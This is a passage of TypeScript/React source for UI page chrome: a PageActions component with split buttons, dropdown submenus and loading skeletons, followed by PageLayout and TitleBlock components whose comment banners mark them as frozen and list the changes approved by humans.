/**\n   * Render the action as a `SplitButton` (two independent click targets).\n   * The main half runs `onClick`/`href`; the icon half runs its own action.\n   * Mutually exclusive with `submenu`.\n   */\n  iconAction?: SplitButtonIconAction\n  /**\n   * Render a button with a chevron that opens a dropdown. The whole button is\n   * a single click target — clicking anywhere opens the menu.\n   * Mutually exclusive with `iconAction` and `href`/`onClick`.\n   */\n  submenu?: ActionsMenuItem[]\n  /** When set, the rendered desktop button is wrapped in a hover tooltip. */\n  tooltip?: React.ReactNode\n}\n\nfunction actionKey(action: PageActionButton, idx: number) {\n  return `${action.label ?? action.ariaLabel ?? 'action'}-${idx}`\n}\n\nfunction actionToMenuItems(action: PageActionButton, idx: number): ActionsMenuItem[] {\n  if (action.submenu && action.submenu.length > 0) {\n    // When a split-button action collapses into the merged mobile \"...\" menu,\n    // its chevron disappears and its children become sibling rows. Prefix\n    // each child with the parent label.\n    if (!action.label) return action.submenu\n    return action.submenu.map(item => ({\n      ...item,\n      label: `${action.label} (${item.label})`,\n    }))\n  }\n\n  if (!action.label) return []\n  return [{\n    id: `action-${idx}`,\n    label: action.label,\n    icon: action.icon,\n    onClick: action.onClick,\n    disabled: action.disabled,\n    href: action.href,\n    iconAction: action.iconAction\n      ? {\n          icon: action.iconAction.icon,\n          'aria-label': action.iconAction['aria-label'],\n          onClick: action.iconAction.onClick as (() => void) | undefined,\n          href: action.iconAction.href,\n          openInNewTab: action.iconAction.openInNewTab,\n          disabled: action.iconAction.disabled,\n        }\n      : undefined,\n  }]\n}\n\ninterface RenderOptions {\n  /** Force the rendered button to be icon-only (label hidden). */\n  iconOnly?: boolean\n  /** Stretch the button to fill flex parent (used in mobile bottom bar). */\n  fullWidth?: boolean\n}\n\nfunction renderActionButton(action: PageActionButton, opts: RenderOptions = {}): React.ReactNode {\n  const button = renderRawActionButton(action, opts)\n  if (!action.tooltip) return button\n  return (\n    <TooltipProvider delayDuration={0}>\n      <Tooltip>\n        <TooltipTrigger asChild>{button}</TooltipTrigger>\n        <TooltipContent>{action.tooltip}</TooltipContent>\n      </Tooltip>\n    </TooltipProvider>\n  )\n}\n\nfunction renderRawActionButton(action: PageActionButton, opts: RenderOptions = {}): React.ReactNode {\n  // Two-target SplitButton — primary action + secondary icon action.\n  if (action.iconAction) {\n    return (\n      <SplitButton\n        variant={action.variant ?? undefined}\n        href={action.href}\n        prefetch={action.prefetch}\n        openInNewTab={action.openInNewTab}\n        onClick={action.onClick}\n        disabled={action.disabled}\n        mainDisabled={action.mainDisabled}\n        leftIcon={action.icon}\n        fullWidth={opts.fullWidth}\n        iconAction={action.iconAction}\n      >\n        {action.label}\n      </SplitButton>\n    )\n  }\n\n  // Submenu — single click target with a trailing chevron divider.\n  if (action.submenu && action.submenu.length > 0) {\n    return (\n      <ActionsMenuDropdown\n        groups={[{ items: action.submenu }]}\n        customTrigger={\n          <Button\n            variant=\"outline\"\n            disabled={action.disabled}\n            loading={action.loading}\n            leftIcon={action.icon}\n            splitIcon={<Chevron02DownIcon className=\"h-4 w-4\" />}\n            className={opts.fullWidth ? 'flex-1' : undefined}\n          >\n            {action.label}\n          </Button>\n        }\n      />\n    )\n  }\n\n  // Icon-only button (no label, or explicitly icon-only on desktop).\n  const isIconOnly = opts.iconOnly || !action.label || action.iconOnlyOnDesktop\n  if (isIconOnly) {\n    const iconNode = action.iconOnlyOnDesktop\n      ? <span className=\"inline-flex [&_svg]:!text-ods-text-primary\">{action.icon}</span>\n      : action.icon\n    return (\n      <Button\n        variant={action.variant}\n        size=\"icon\"\n        href={action.href}\n        prefetch={action.prefetch}\n        openInNewTab={action.openInNewTab}\n        onClick={action.onClick}\n        disabled={action.disabled}\n        loading={action.loading}\n        leftIcon={iconNode}\n        aria-label={action.label ?? action.ariaLabel}\n      />\n    )\n  }\n\n  // Default labeled button.\n  return (\n    <Button\n      variant={action.variant}\n      href={action.href}\n      prefetch={action.prefetch}\n      openInNewTab={action.openInNewTab}\n      onClick={action.onClick}\n      disabled={action.disabled}\n      loading={action.loading}\n      leftIcon={action.icon}\n      className={opts.fullWidth ? 'flex-1' : undefined}\n    >\n      {action.label}\n    </Button>\n  )\n}\n\nexport interface PageActionsProps {\n  variant?: 'icon-buttons' | 'primary-buttons' | 'menu-primary'\n  actions: PageActionButton[]\n  menuActions?: ActionsMenuGroup[]\n  /**\n   * Desktop-only slot rendered before the action buttons (e.g. a `TabSelector`\n   * for view-mode toggles). Hidden on mobile and never merged into the \"…\" menu.\n   * Honored by the `icon-buttons` and `menu-primary` variants.\n   */\n  selector?: React.ReactNode\n  className?: string\n  /**\n   * Render placeholders instead of the actions — for pages whose action SET\n   * depends on data still in flight. Opt-in: a page whose actions are already\n   * final while its title loads keeps rendering them.\n   */\n  loading?: boolean\n}\n\nconst ACTIONS_GAP = 'gap-[var(--spacing-system-xs)]'\n\n/** Matches `Button` size=\"icon\" / size=\"default\" exactly, so a placeholder and the\n *  button that replaces it occupy the same box at both breakpoints. `rounded-md`\n *  is the same token `Button` itself uses — a raw `6px` would agree today and\n *  drift the moment a platform overrides `--radius`. */\nconst SKELETON_HEIGHT = 'h-11 md:h-12'\nconst SKELETON_ICON_WIDTH = 'w-11 md:w-12'\nconst SKELETON_LABEL_WIDTH = 'w-[120px] md:w-[140px]'\nconst SKELETON_RADIUS = 'rounded-md'\n\n/**\n * Placeholders for actions whose SHAPE isn't known yet — the page is still\n * loading the record that decides which actions exist (e.g. an archived entity\n * offers \"Unarchive\" where an active one offers \"Edit\").\n *\n * Why not render the actions anyway: a button is a promise. Painting the\n * optimistic set means a flash of the wrong header AND a live click target that\n * can act on the wrong assumption before the data lands. A grey box promises\n * nothing and can't be clicked.\n *\n * The placeholders are derived from the actions the caller passed — one per\n * action, each sized like the button that action WILL render — so the common\n * case (the data confirms that set) settles with no layout shift at all. Sizing\n * per action matters: `renderRawActionButton` collapses a label-less action (or\n * one flagged `iconOnlyOnDesktop`) to a square `size=\"icon\"` button, and a\n * 140px-wide placeholder snapping to 48px is exactly the shift this is meant to\n * avoid.\n *\n * An empty list still yields one placeholder: `loading` means the action set is\n * unknown, not known-empty. Its shape comes from `emptyFallback`, because what\n * an empty header settles into differs per variant — `icon-buttons` and\n * `menu-primary` fall back to the square \"…\" overflow trigger, `primary-buttons`\n * has no overflow trigger at all and settles into a labelled button.\n */\nfunction ActionSkeletons({\n  actions,\n  fullWidth,\n  emptyFallback = 'icon',\n}: {\n  actions: PageActionButton[]\n  fullWidth?: boolean\n  emptyFallback?: 'icon' | 'label'\n}) {\n  const items = actions.length > 0 ? actions : [null]\n  return (\n    <>\n      {items.map((action, idx) => {\n        // Mirrors `renderRawActionButton`'s `isIconOnly`. The mobile bottom bar\n        // stretches only labelled buttons (`fullWidth: !!action.label`), so an\n        // icon action keeps its square box there too.\n        const isIconOnly = action ? !action.label || !!action.iconOnlyOnDesktop : emptyFallback === 'icon'\n        return (\n          <Skeleton\n            // Static placeholder list — index IS the identity here.\n            key={`action-skeleton-${idx}`}\n            className={cn(\n              SKELETON_HEIGHT,\n              SKELETON_RADIUS,\n              isIconOnly ? SKELETON_ICON_WIDTH : fullWidth ? 'flex-1' : SKELETON_LABEL_WIDTH,\n            )}\n          />\n        )\n      })}\n    </>\n  )\n}\n\n/** Mobile placeholder for the variants that collapse to ONE trigger (icon button or \"…\"). */\nfunction MobileTriggerSkeleton() {\n  return <Skeleton className={cn(SKELETON_HEIGHT, SKELETON_ICON_WIDTH, SKELETON_RADIUS)} />\n}\n\nexport function PageActions({\n  variant = 'icon-buttons',\n  actions,\n  menuActions,\n  selector,\n  className,\n  loading,\n}: PageActionsProps) {\n  if (variant === 'icon-buttons') {\n    return <IconButtonsVariant actions={actions} menuActions={menuActions} selector={selector} className={className} loading={loading} />\n  }\n\n  if (variant === 'menu-primary') {\n    return <MenuPrimaryVariant actions={actions} menuActions={menuActions || []} selector={selector} className={className} loading={loading} />\n  }\n\n  return <PrimaryButtonsVariant actions={actions} className={className} loading={loading} />\n}\n\nfunction IconButtonsVariant({\n  actions,\n  menuActions,\n  selector,\n  className,\n  loading,\n}: {\n  actions: PageActionButton[]\n  menuActions?: ActionsMenuGroup[]\n  selector?: React.ReactNode\n  className?: string\n  loading?: boolean\n}) {\n  const desktopActions = actions.filter(a => !a.showOnlyMobile)\n  const hasMenuActions = !!menuActions && menuActions.some(g => g.items.length > 0)\n\n  const isSingleAction = actions.length === 1 && !actions[0].submenu?.length\n  const singleAction = isSingleAction ? actions[0] : null\n  const useSingleActionMobile = isSingleAction && !hasMenuActions\n\n  const mobileMenuGroups = [\n    { items: actions.flatMap(actionToMenuItems) },\n    ...(menuActions ?? []),\n  ]\n  const hasMobileMenuItems = mobileMenuGroups.some(g => g.items.length > 0)\n\n  return (\n    <>\n      {/* Desktop: every action as an icon button + optional overflow menu */}\n      <div className={cn('hidden md:flex items-center', ACTIONS_GAP, className)}>\n        {selector}\n        {loading ? (\n          <ActionSkeletons actions={desktopActions} />\n        ) : (\n          <>\n            {desktopActions.map((action, idx) => (\n              <React.Fragment key={actionKey(action, idx)}>\n                {renderActionButton(action)}\n              </React.Fragment>\n            ))}\n            {hasMenuActions && <ActionsMenuDropdown groups={menuActions} />}\n          </>\n        )}\n      </div>\n\n      {/* Mobile: single icon button OR all actions merged into one \"...\" menu */}\n      <div className={cn('flex md:hidden', className)}>\n        {loading ? (\n          <MobileTriggerSkeleton />\n        ) : useSingleActionMobile && singleAction ? (\n          renderActionButton(singleAction, { iconOnly: true })\n        ) : hasMobileMenuItems ? (\n          <ActionsMenuDropdown groups={mobileMenuGroups} />\n        ) : null}\n      </div>\n    </>\n  )\n}\n\n/**\n * Primary buttons variant — primary + outline buttons on desktop,\n * fixed bottom bar on mobile.\n */\nfunction PrimaryButtonsVariant({\n  actions,\n  className,\n  loading,\n}: {\n  actions: PageActionButton[]\n  className?: string\n  loading?: boolean\n}) {\n  // Sort: outline first, accent last (rightmost on desktop).\n  const sortedActions = [...actions].sort((a, b) => {\n    if (a.variant === 'accent' && b.variant !== 'accent') return 1\n    if (a.variant !== 'accent' && b.variant === 'accent') return -1\n    return 0\n  })\n\n  const desktopActions = sortedActions.filter(a => !a.showOnlyMobile)\n\n  return (\n    <>\n      <div className={cn('hidden md:flex items-center', ACTIONS_GAP, className)}>\n        {loading ? (\n          // No overflow trigger in this variant — an unknown action set settles\n          // into a labelled button, not a square one.\n          <ActionSkeletons actions={desktopActions} emptyFallback=\"label\" />\n        ) : (\n          desktopActions.map((action, idx) => (\n            <React.Fragment key={`desktop-${actionKey(action, idx)}`}>\n              {renderActionButton(action)}\n            </React.Fragment>\n          ))\n        )}\n      </div>\n\n      <MobileBottomActions actions={sortedActions} loading={loading} />\n    </>\n  )\n}\n\n/**\n * Menu + primary variant — \"...\" menu + primary buttons on desktop,\n * all actions merged into a single \"...\" menu on mobile.\n */\nfunction MenuPrimaryVariant({\n  actions,\n  menuActions,\n  selector,\n  className,\n  loading,\n}: {\n  actions: PageActionButton[]\n  menuActions: ActionsMenuGroup[]\n  selector?: React.ReactNode\n  className?: string\n  loading?: boolean\n}) {\n  const desktopActions = actions.filter(a => !a.showOnlyMobile)\n  const hasMenuActions = menuActions.some(g => g.items.length > 0)\n\n  const mobileMenuGroups = [\n    { items: actions.flatMap(actionToMenuItems) },\n    ...menuActions,\n  ]\n  const hasMobileMenuItems = mobileMenuGroups.some(g => g.items.length > 0)\n\n  return (\n    <>\n      <div className={cn('hidden md:flex items-center', ACTIONS_GAP, className)}>\n        {selector}\n        {loading ? (\n          <ActionSkeletons actions={desktopActions} />\n        ) : (\n          <>\n            {hasMenuActions && <ActionsMenuDropdown groups={menuActions} />}\n            {desktopActions.map((action, idx) => (\n              <React.Fragment key={`desktop-${actionKey(action, idx)}`}>\n                {renderActionButton({ ...action, variant: action.variant || 'accent' })}\n              </React.Fragment>\n            ))}\n          </>\n        )}\n      </div>\n\n      <div className={cn('flex md:hidden', className)}>\n        {loading ? <MobileTriggerSkeleton /> : hasMobileMenuItems ? <ActionsMenuDropdown groups={mobileMenuGroups} /> : null}\n      </div>\n    </>\n  )\n}\n\nfunction MobileBottomActions({ actions, loading }: { actions: PageActionButton[]; loading?: boolean }) {\n  return (\n    <div className={cn(\n      'fixed md:hidden bottom-0 left-0 right-0 z-50',\n      'bg-ods-card border-t border-ods-border',\n      // `lf` (24px at every breakpoint), NOT `l` — this bar is `md:hidden`, so the\n      // only value it ever uses is the MOBILE one, and `l` is 16px there. The\n      // fixed variant is what keeps the 24px the bar has always had.\n      'flex items-start p-[var(--spacing-system-lf)]',\n      ACTIONS_GAP,\n    )}>\n      {loading ? (\n        <ActionSkeletons actions={actions} fullWidth emptyFallback=\"label\" />\n      ) : (\n        actions.map((action, idx) => (\n          <React.Fragment key={`mobile-${actionKey(action, idx)}`}>\n            {renderActionButton(action, { fullWidth: !!action.label })}\n          </React.Fragment>\n        ))\n      )}\n    </div>\n  )\n}\n\nexport function usePageActionsBottomPadding(variant: PageActionsProps['variant']) {\n  return variant === 'primary-buttons' || variant === 'menu-primary' ? 'pb-40 md:pb-0' : ''\n}\n\nexport default PageActions\n","'use client'\n\n/* ============================================================================\n * ⛔️ FROZEN — DO NOT MODIFY (AI agents & contributors, read this first)\n * ----------------------------------------------------------------------------\n * `PageLayout` and its `TitleBlock` are a FINALIZED, locked component. They are\n * the canonical, stable page chrome for OpenFrame surfaces and their visual +\n * behavioral contract is intentionally complete. Treat this file as read-only.\n *\n * Do NOT: change the markup/CSS, swap the title typography (`text-h2`) or\n * subtitle (`text-h6`), re-architect this to delegate to another primitive,\n * add/rename props, or \"unify\"/\"refactor\"/\"simplify\" it. Do NOT restyle to\n * match some other surface.\n *\n * Why this rule exists (the incident it prevents): a refactor once re-styled\n * this layout (bumped the title to `text-h1`, rerouted it through a new\n * `PageHeader`/`PageWithHeader` chain) to \"unify\" page chrome. That silently\n * changed the look of every page rendered through `PageLayout` and had to be\n * fully reverted. The current code IS the reverted, correct baseline.\n *\n * MANY consumers depend on the EXACT current output — not only OpenFrame pages\n * but also `DevSectionPage`, `DocViewer`, and the multi-platform hub (through\n * its own local `PageWithHeader`). A change here ripples across all of them.\n *\n * If a new design genuinely needs different chrome: build a SEPARATE new\n * component for it. Never mutate this one. If you believe an edit here is\n * unavoidable, STOP and get explicit human sign-off first.\n *\n * SANCTIONED EXCEPTION (2026-06, explicit human sign-off): the OPTIONAL\n * `titleSize` prop, forwarded to `TitleBlock`. Defaults to `'h2'` — the frozen\n * baseline is unchanged for every existing caller. `titleSize=\"h1\"` opts the\n * title up to `text-h1` (the unified Help Center pages). Additive + default-\n * preserving; do NOT change the default or anything else here.\n *\n * SANCTIONED EXCEPTION (2026-07, explicit human sign-off): the OPTIONAL\n * `titleWrap` prop, forwarded to `TitleBlock`. Defaults to `false` (frozen\n * single-line truncate). Content detail pages with CMS titles pass it to let\n * long titles wrap instead of ellipsis-clip. Additive + default-preserving.\n *\n * SANCTIONED EXCEPTION (2026-07, explicit human sign-off): the OPTIONAL\n * `subtitleRow` prop, forwarded to `TitleBlock`. Defaults to `'when-set'` (the\n * subtitle row renders only when there is text for it). Pages whose subtitle is\n * optional record data use it to choose how the row behaves while loading.\n * Additive + default-preserving.\n * ========================================================================== */\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport type { ActionsMenuGroup } from '../ui/actions-menu'\nimport { type PageActionButton } from '../ui/page-actions'\nimport { TitleBlock } from './title-block'\n\nexport interface PageLayoutProps {\n  children: React.ReactNode\n  title?: string\n  subtitle?: string\n  image?: { src: string; alt?: string }\n  backButton?: { label?: string; onClick: () => void }\n  actions?: PageActionButton[]\n  actionsVariant?: 'icon-buttons' | 'primary-buttons' | 'menu-primary'\n  menuActions?: ActionsMenuGroup[]\n  /** Desktop-only slot (e.g. a `TabSelector`) rendered with the actions. Hidden on mobile. */\n  selector?: React.ReactNode\n  /** Header visual variant. `card` adds a card background, border, and padding on mobile. */\n  headerVariant?: 'plain' | 'card'\n  className?: string\n  contentClassName?: string\n  showHeader?: boolean\n  /** Title typography size, forwarded to `TitleBlock`. Default `'h2'` (frozen\n   *  baseline). Pass `'h1'` for the unified Help Center pages. */\n  titleSize?: 'h1' | 'h2'\n  /** Optional node rendered inline next to the title (e.g. a status `Tag`), forwarded to `TitleBlock`. */\n  titleAdornment?: React.ReactNode\n  /** When true, the title/subtitle render as line-box-accurate skeleton bars (forwarded to\n   *  `TitleBlock`). Header height stays identical to the loaded state — for page skeletons. */\n  loading?: boolean\n  /** Render the header ACTIONS as placeholders (their set depends on data still loading). */\n  loadingActions?: boolean\n  /** When the subtitle row occupies the layout (forwarded to `TitleBlock`):\n   *  `'when-set'` (default), `'while-loading'` (skeleton bar while loading, collapses\n   *  if the record has no subtitle), or `'always'` (never collapses). */\n  subtitleRow?: 'when-set' | 'while-loading' | 'always'\n  /** When true, a long title wraps onto multiple lines instead of the frozen single-line\n   *  ellipsis clamp (forwarded to `TitleBlock`). For content detail pages whose h1 is CMS\n   *  data of arbitrary length. Additive + default-preserving. */\n  titleWrap?: boolean\n}\n\n/**\n * Page layout container with consistent spacing, header, and actions.\n *\n * Uses `--spacing-system-l` as the gap between sections.\n */\nexport function PageLayout({\n  children,\n  title,\n  subtitle,\n  image,\n  backButton,\n  actions,\n  actionsVariant = 'icon-buttons',\n  menuActions,\n  selector,\n  headerVariant,\n  className,\n  contentClassName,\n  showHeader = true,\n  titleSize,\n  titleAdornment,\n  loading,\n  loadingActions,\n  subtitleRow,\n  titleWrap,\n}: PageLayoutProps) {\n  const hasActions = actions && actions.length > 0\n  const needsBottomPadding = hasActions && actionsVariant === 'primary-buttons'\n  const hasHeader = showHeader && (title || subtitle || image || backButton || hasActions || selector || loading)\n\n  return (\n    <div className={cn('flex flex-col w-full', className)}>\n      {hasHeader && (\n        <TitleBlock\n          title={title}\n          subtitle={subtitle}\n          image={image}\n          backButton={backButton}\n          actions={actions}\n          actionsVariant={actionsVariant}\n          menuActions={menuActions}\n          selector={selector}\n          variant={headerVariant}\n          titleSize={titleSize}\n          titleAdornment={titleAdornment}\n          loading={loading}\n          loadingActions={loadingActions}\n          subtitleRow={subtitleRow}\n          titleWrap={titleWrap}\n        />\n      )}\n\n      <div className={cn('flex flex-col flex-1 gap-[var(--spacing-system-l)]', needsBottomPadding && 'pb-28 md:pb-0', contentClassName)}>\n        {children}\n      </div>\n    </div>\n  )\n}\n\nexport type { PageActionButton } from '../ui/page-actions'\nexport { TitleBlock, TITLE_BLOCK_MIN_HEIGHT } from './title-block'\nexport type { TitleBlockProps } from './title-block'\nexport default PageLayout\n","'use client'\n\n/* ============================================================================\n * ⛔️ FROZEN — DO NOT MODIFY (AI agents & contributors, read this first)\n * ----------------------------------------------------------------------------\n * `TitleBlock` is the FINALIZED title/subtitle/back-button/actions chrome used\n * by `PageLayout`. It is a locked, complete component — treat it as read-only.\n *\n * Do NOT: change the markup/CSS, alter the title typography (`text-h2`) or\n * subtitle (`text-h6`), change the image/title 2-column layout, re-route this\n * through a `PageHeader`/`PageWithHeader` primitive, or add/rename props. Do\n * NOT \"unify\"/\"refactor\"/\"simplify\" it or restyle it to match another surface.\n *\n * Why this rule exists (the incident it prevents): a refactor once rewrote\n * this to delegate to a new `PageHeader` (title bumped to `text-h1`, new\n * subtitle styling) to \"unify\" page chrome — it silently changed every page\n * using `PageLayout` and had to be fully reverted. This code IS that reverted,\n * correct baseline.\n *\n * Downstream consumers (OpenFrame pages, `DevSectionPage`, `DocViewer`, and the\n * multi-platform hub via its local `PageWithHeader`) depend on the EXACT\n * current output. If a new design needs different chrome, build a SEPARATE new\n * component — never mutate this one. If an edit here seems unavoidable, STOP\n * and get explicit human sign-off first.\n *\n * SANCTIONED EXCEPTION (2026-06, explicit human sign-off): the OPTIONAL\n * `titleSize` prop. It defaults to `'h2'` — i.e. the frozen baseline above is\n * unchanged for EVERY existing caller. A caller may pass `titleSize=\"h1\"` to\n * opt the title typography up to `text-h1` (used by the unified Help Center\n * pages). This is additive and default-preserving; do NOT change the default or\n * touch anything else here.\n *\n * SANCTIONED EXCEPTION (2026-06, explicit human sign-off): the OPTIONAL\n * `titleAdornment` and `loading` props. `titleAdornment` renders a node inline\n * after the title (e.g. a status `Tag`). `loading` swaps ONLY the title/subtitle\n * TEXT for line-box-accurate skeleton bars (the surrounding `h1`/`p` and their\n * typography are untouched, so a loading header is pixel-identical in height to\n * the loaded one — used by page skeletons that render through `PageLayout`).\n * Both are additive + default-preserving: omit them and every existing caller is\n * byte-identical. Do NOT change defaults or touch anything else here.\n *\n * SANCTIONED EXCEPTION (2026-07, explicit human sign-off): the OPTIONAL\n * `subtitleRow` prop. Defaults to `'when-set'` — the subtitle row keeps\n * rendering only when `subtitle` is truthy, so every existing caller is\n * byte-identical. The other two values decide how a page trades a header that\n * never moves against a header that never shows an empty line; see the prop's\n * own doc for which to pick. Additive + default-preserving; do NOT change the\n * default.\n *\n * SANCTIONED EXCEPTION (2026-07, explicit human sign-off): the OPTIONAL\n * `titleWrap` prop. Defaults to `false` — the frozen single-line `truncate`\n * baseline is unchanged for every existing caller. Content DETAIL pages (whose\n * h1 is CMS data of arbitrary length — releases, legal docs, FAQ docs, dev\n * sections) pass `titleWrap` to let the title wrap onto multiple lines instead\n * of being ellipsis-clipped. Additive + default-preserving; do NOT change the\n * default or touch anything else here.\n *\n * SANCTIONED EXCEPTION (2026-07, explicit human sign-off — ClickUp 86ahd6uy5):\n * responsive action layout on md+. This one intentionally CHANGES the baseline\n * for every caller, per the approved design (Figma open-design-system node\n * 2200-7452): instead of tablet always stacking actions below the title\n * (`md:flex-col`) and desktop always keeping one row (long titles clipped),\n * md+ is a single `flex-wrap` row — actions stay inline with a short title on\n * BOTH tablet and desktop, and wrap to a second row only when the title is\n * long enough to overflow. The title column is `md:flex-none md:max-w-full`\n * so its natural width drives the wrap while `truncate` still clamps a title\n * that alone exceeds the container. The mobile (base) layout is untouched.\n * This is the new frozen baseline; do NOT re-introduce breakpoint stacking.\n *\n * SANCTIONED EXCEPTION (2026-07, explicit human sign-off): overflow tooltips on\n * the title and subtitle. This one CHANGES the baseline for every caller: the\n * native `title=\"\"` attribute on both is replaced by the ODS `FloatingTooltip`,\n * armed only when the text is genuinely clipped (`useIsTruncated`). Both stay\n * single-line — that is the design, and the tooltip is what makes a clipped\n * title readable instead of merely pretty. Nothing is lost for assistive tech:\n * `text-overflow: ellipsis` never hid the text from the accessibility tree, so\n * the full string was always exposed; the attribute only ever served a mouse.\n * The wrapper `div` the tooltip needs goes OUTSIDE the `h1`/`p` — never inside:\n * a `div` inside a `p` is auto-closed by the HTML parser, which would split the\n * subtitle paragraph and desync hydration. The `titleWrap` branch is untouched\n * (wrapped text never clips, so it never needs a tooltip).\n * ========================================================================== */\n\nimport React from 'react'\nimport { useIsTruncated } from '../../hooks/ui/use-is-truncated'\nimport { cn } from '../../utils/cn'\nimport type { ActionsMenuGroup } from '../ui/actions-menu'\nimport { EntityImage } from '../ui/entity-image'\nimport { FloatingTooltip } from '../ui/floating-tooltip'\nimport { PageActions, type PageActionButton } from '../ui/page-actions'\nimport { BackButton } from './back-button'\n\n/**\n * Minimum height of the title block's content column, matched to the action\n * button height: the icon button on mobile (`h-11` → 44px) and the default\n * button on desktop (`md:h-12` → 48px). Applied to the inner title column (which\n * has no padding) rather than the root — the root's `pt`/`mb` are box-sizing\n * border-box and would otherwise absorb the floor. Keeps the header a consistent\n * height across pages whether or not they render action buttons, so the content\n * below starts at the same baseline. Exported so other page chrome can reuse it.\n */\nexport const TITLE_BLOCK_MIN_HEIGHT = 'min-h-11 md:min-h-12'\n\nexport interface TitleBlockProps {\n  title?: string\n  subtitle?: string\n  image?: { src: string; alt?: string }\n  backButton?: { label?: string; onClick: () => void }\n  actions?: PageActionButton[]\n  actionsVariant?: 'icon-buttons' | 'primary-buttons' | 'menu-primary'\n  menuActions?: ActionsMenuGroup[]\n  /** Desktop-only slot (e.g. a `TabSelector`) rendered with the actions. Hidden on mobile. */\n  selector?: React.ReactNode\n  /**\n   * Visual variant.\n   * - `plain` (default): transparent background, no border.\n   * - `card`: card background, border, and padding on mobile only — collapses to plain on md+.\n   */\n  variant?: 'plain' | 'card'\n  className?: string\n  /** Title typography size. Default `'h2'` (the frozen baseline). Pass `'h1'` to\n   *  opt the title up to `text-h1` (the unified Help Center pages). Subtitle stays\n   *  `text-h6` either way. */\n  titleSize?: 'h1' | 'h2'\n  /** Optional node rendered inline, immediately after the title (e.g. a status `Tag`).\n   *  Additive + default-preserving: omit it and every existing caller is byte-identical. */\n  titleAdornment?: React.ReactNode\n  /** When true, the title/subtitle TEXT is replaced by line-box-accurate skeleton bars\n   *  (typography + surrounding markup unchanged, so header height is identical to loaded).\n   *  Additive + default-preserving: omit it and every existing caller is byte-identical. */\n  loading?: boolean\n  /**\n   * Render the ACTIONS as placeholders too. Separate from `loading` on purpose:\n   * a page whose action set is already final (it depends on the route, not on\n   * the record) keeps showing its real buttons while the title loads.\n   */\n  loadingActions?: boolean\n  /**\n   * When the subtitle row occupies the layout. The subtitle is often optional\n   * RECORD data — unknown while loading, sometimes absent afterwards — and there\n   * is no setting that both fills the loading header and never leaves a blank\n   * line, so the caller picks which one matters.\n   *\n   * - `'when-set'` (default) — only when `subtitle` has text.\n   * - `'while-loading'` — also during `loading`, as a skeleton bar. The header\n   *   looks complete while it loads, and the row collapses if the record turns\n   *   out to have no subtitle (so that case settles one line shorter).\n   * - `'always'` — the row never collapses; an empty subtitle holds its line\n   *   with an invisible spacer. The header cannot change height. Use it when the\n   *   loaded page ALWAYS has a subtitle — typically a standalone skeleton\n   *   component matching a page whose subtitle is guaranteed.\n   */\n  subtitleRow?: 'when-set' | 'while-loading' | 'always'\n  /** When true, a long title WRAPS onto multiple lines instead of the frozen single-line\n   *  ellipsis clamp. For content detail pages whose h1 is CMS data of arbitrary length.\n   *  Additive + default-preserving: omit it and every existing caller is byte-identical. */\n  titleWrap?: boolean\n}\n\n/**\n * Inline text skeleton — used only in `loading` mode, placed directly inside the real\n * `h1`/`p`. It is a single `inline-block` bar whose height is intentionally SHORTER than the\n * typography line-height, and it uses the default baseline alignment. That way the element's\n * own line-box STRUT (text-h2 → 40px, text-h6 → 20px) sets the height exactly as it would for\n * real text — the bar fits within the ascent and never inflates the line. So a loading header\n * is pixel-identical in height to the loaded one. Phrasing-valid (`span` only).\n */\nfunction TitleTextSkeleton({ widthClass, heightClass }: { widthClass: string; heightClass: string }) {\n  return (\n    <span\n      aria-hidden\n      className={cn('inline-block max-w-full rounded-md bg-ods-border animate-pulse', widthClass, heightClass)}\n    />\n  )\n}\n\n/**\n * Bar geometry per title size, following the ODS type scale across breakpoints\n * (`md` = 800px, `lg` = 1280px here — the SAME widths the typography tokens\n * switch at, so bar and text step together).\n *\n * `h2` needs no `lg` step because `text-h2` has none: it is 24/32 on mobile and\n * 32/40 from tablet up. `text-h1` scales at both breakpoints (40 → 48 → 56), so\n * its bar does too — reusing the h2 bar there would leave a stamp-sized smudge\n * inside a 64px line. Heights stay well under the line box's ascent on purpose;\n * see `TitleTextSkeleton` for why that is what keeps the header height honest.\n */\nconst TITLE_SKELETON_SIZE = {\n  h1: { width: 'w-56 md:w-80 lg:w-96', height: 'h-7 md:h-8 lg:h-9' },\n  h2: { width: 'w-48 md:w-72', height: 'h-4 md:h-6' },\n} as const\n\nexport function TitleBlock({\n  title,\n  subtitle,\n  image,\n  backButton,\n  actions,\n  actionsVariant = 'icon-buttons',\n  menuActions,\n  selector,\n  variant = 'plain',\n  className,\n  titleSize = 'h2',\n  titleAdornment,\n  loading,\n  loadingActions,\n  subtitleRow = 'when-set',\n  titleWrap = false,\n}: TitleBlockProps) {\n  const hasSubtitleRow =\n    !!subtitle || subtitleRow === 'always' || (subtitleRow === 'while-loading' && !!loading)\n  const hasActions = actions && actions.length > 0\n  const hasMenuActions = !!menuActions && menuActions.some(g => g.items.length > 0)\n  const titleClass = titleSize === 'h1' ? 'text-h1' : 'text-h2'\n  // Frozen baseline is the single-line `truncate`; `titleWrap` swaps it for\n  // multi-line wrapping (break-words guards pathological unbroken tokens).\n  const titleOverflowClass = titleWrap ? 'break-words' : 'truncate'\n  const skeletonSize = TITLE_SKELETON_SIZE[titleSize]\n\n  // Exactly one title element renders per pass, so one ref covers every branch.\n  // The tooltip arms itself only on real clipping — repeating a fully visible\n  // title back to the user is noise, and `titleWrap`/loading never clip at all.\n  const { ref: titleRef, isTruncated: titleTruncated } = useIsTruncated<HTMLHeadingElement>(loading ? null : title)\n  const { ref: subtitleRef, isTruncated: subtitleTruncated } = useIsTruncated<HTMLParagraphElement>(\n    loading ? null : subtitle,\n  )\n  const titleNode = loading ? <TitleTextSkeleton widthClass={skeletonSize.width} heightClass={skeletonSize.height} /> : title\n\n  return (\n    <div\n      className={cn(\n        'flex items-end justify-between gap-[var(--spacing-system-m)]',\n        // md+: one wrapping row — actions stay inline with a short title and\n        // wrap to a second row only when the title overflows (ClickUp 86ahd6uy5).\n        'md:flex-wrap md:content-end',\n        'pt-[var(--spacing-system-l)]',\n        variant === 'card'\n          ? cn(\n              'bg-ods-card border-b border-ods-border',\n              'px-[var(--spacing-system-l)] pb-[var(--spacing-system-l)]',\n              'md:bg-transparent md:border-b-0',\n              'md:px-0 md:pb-0',\n              'md:mb-[var(--spacing-system-l)]',\n            )\n          : 'mb-[var(--spacing-system-l)]',\n        className,\n      )}\n    >\n      {/* md+: `flex-none` sizes the column to its content so a long title (capped\n          at `max-w-full`, still truncating) pushes the actions onto the next\n          wrap line; a short title leaves them inline. Base (mobile) keeps flex-1. */}\n      <div className={cn('flex flex-col justify-center gap-[var(--spacing-system-xs)] flex-1 min-w-0 md:flex-none md:max-w-full', 